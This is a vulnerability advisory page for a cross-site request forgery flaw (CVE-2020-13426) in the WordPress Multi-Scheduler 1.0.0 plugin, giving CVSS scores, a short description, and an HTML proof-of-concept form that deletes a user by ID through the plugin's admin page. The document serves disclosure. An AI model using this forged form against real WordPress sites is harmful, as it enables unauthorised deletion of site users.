WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)

2020.05.30

UnD3sc0n0c1d0 (https://cxsecurity.com/author/UnD3sc0n0c1d0/1/) (ES)

Risk: Low | Local: **No** | Remote: **Yes**

CVE: **CVE-2020-13426 (https://cxsecurity.com/cveshow/CVE-2020-13426/)** | CWE: **CWE-352 (https://cxsecurity.com/cwe/CWE-352)**

CVSS Base Score: **4.3/10**
Exploitability Subscore: **8.6/10**
Attack complexity: **Medium**
Confidentiality impact: **None**
Availability impact: **None**

Impact Subscore: **2.9/10**
Exploit range: **Remote**
Authentication: **No required**
Integrity impact: **Partial**

```
# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
# Google Dork: N/A
# Date: 2020-05-21
# Author Homepage: https://infayer.com/
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
# Category: Web Application
# Version: 1.0.0
# Tested on: CentOS 7 / WordPress 5.4.1
# CVE : CVE-2020-13426

# 1. Technical Description:
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.

# 2. Proof of Concept (PoC):
<html>
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
<input type="hidden" value="Delete" name="professional_delete">
<input type="submit" value="Delete user">
</form>
</html>
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020050235)

Tv | Lul

Vote for this issue: 1 | 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)